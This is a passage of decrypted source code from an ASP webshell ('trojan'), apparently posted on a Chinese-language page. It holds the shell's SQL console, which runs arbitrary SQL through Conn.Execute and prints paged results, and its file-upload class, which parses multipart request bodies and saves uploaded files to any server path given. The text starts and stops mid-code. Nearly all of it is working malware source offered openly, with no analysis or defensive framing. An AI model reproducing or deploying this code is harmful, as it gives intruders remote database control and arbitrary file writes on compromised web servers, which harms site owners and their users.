asp木马代码解密的随机加密webshell

t;a href=''javascript:FullSqlStr("""&SqlStr&""","&Page-1&")''& gt;</a> "
If Page>8 Then:Sp=Page-8:Else:Sp=1:End if
For i=Sp To Sp+8
If i>PN Then Exit For
If i=Page Then
SI=SI&i&" "
Else
SI=SI&"<a href=''javascript:FullSqlStr("""&SqlStr&""","&i&")''>"&i&"</a> "
End If
Next
SI=SI&" <a href=''javascript:FullSqlStr("""&SqlStr&""","&Page+1&")''& gt;</a> <a href=''javascript:FullSqlStr("""&SqlStr&""","&PN&")''>尾页</a>"
End If
SI=SI&"<hr color=''#EFEFEF''></td></tr></table>"
Rs.Close:Set Rs=Nothing
RRS SI:SI=""
Else
Conn.Execute(SqlStr)
SI=SI&"SQL语句："&SqlStr
End If
RRS SI:SI=""
End If
Conn.Close
Set Conn=Nothing
End If
End Function


Dim T1
Class UPC
Dim D1,D2
Public Function Form(F)
F=lcase(F)
If D1.exists(F) then:Form=D1(F):else:Form="":end if
End Function
Public Function UA(F)
F=lcase(F)
If D2.exists(F) then:set UA=D2(F):else:set UA=new FIF:end if
End Function
Private Sub Class_Initialize
Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName
set D1=CreateObject(ObT(4,0))
if Request.TotalBytes<1 then Exit Sub
set T1 = CreateObject(ObT(6,0))
T1.Type = 1 : T1.Mode =3 : T1.Open
T1.Write Request.BinaryRead(Request.TotalBytes)
T1.Position=0 : TDa =T1.Read : DStart = 1
DEnd = LenB(TDa)
set D2=CreateObject(ObT(4,0))
vbCrlf = chrB(13) & chrB(10)
set T2 = CreateObject(ObT(6,0))
TSt = MidB(TDa,1, InStrB(DStart,TDa,vbCrlf)-1)
TLen = LenB (TSt)
DStart=DStart+TLen+1
while (DStart + 10) < DEnd
DIEnd = InStrB(DStart,TDa,vbCrlf & vbCrlf)+3
T2.Type = 1 : T2.Mode =3 : T2.Open
T1.Position = DStart
T1.CopyTo T2,DIEnd-DStart
T2.Position = 0 : T2.Type = 2 : T2.Charset ="gb2312"
TIn = T2.ReadText : T2.Close
DStart = InStrB(DIEnd,TDa,TSt)
FStart = InStr(22,TIn,"name=""",1)+6
FEnd = InStr(FStart,TIn,"""",1)
UpName = lcase(Mid (TIn,FStart,FEnd-FStart))
if InStr (45,TIn,"filename=""",1) > 0 then
set TFL=new FIF
FStart = InStr(FEnd,TIn,"filename=""",1)+10
FEnd = InStr(FStart,TIn,"""",1)
FStart = InStr(FEnd,TIn,"Content-Type: ",1)+14
FEnd = InStr(FStart,TIn,vbCr)
TFL.FileStart =DIEnd
TFL.FileSize = DStart -DIEnd -3
if not D2.Exists(UpName) then
D2.add UpName,TFL
end if
else
T2.Type =1 : T2.Mode =3 : T2.Open
T1.Position = DIEnd : T1.CopyTo T2,DStart-DIEnd-3
T2.Position = 0 : T2.Type = 2
T2.Charset ="gb2312"
SFV = T2.ReadText
T2.Close
if D1.Exists(UpName) then
D1(UpName)=D1(UpName)&", "&SFV
else
D1.Add UpName,SFV
end if
end if
DStart=DStart+TLen+1
wend
TDa=""
set T2 =nothing
End Sub
Private Sub Class_Terminate
if Request.TotalBytes>0 then
D1.RemoveAll:D2.RemoveAll
set D1=nothing:set D2=nothing
T1.Close:set T1 =nothing
end if
End Sub
End Class
Class FIF
dim FileSize,FileStart
Private Sub Class_Initialize
FileSize = 0
FileStart= 0
End Sub
Public function SaveAs(F)
dim T3
SaveAs=true
if trim(F)="" or FileStart=0 then exit function
set T3=CreateObject(ObT(6,0))
T3.Mode=3 : T3.Type=1 : T3.Open
T1.position=FileStart
T1.copyto T3,FileSize
T3.SaveToFile F,2
T3.Close
set T3=nothing
SaveA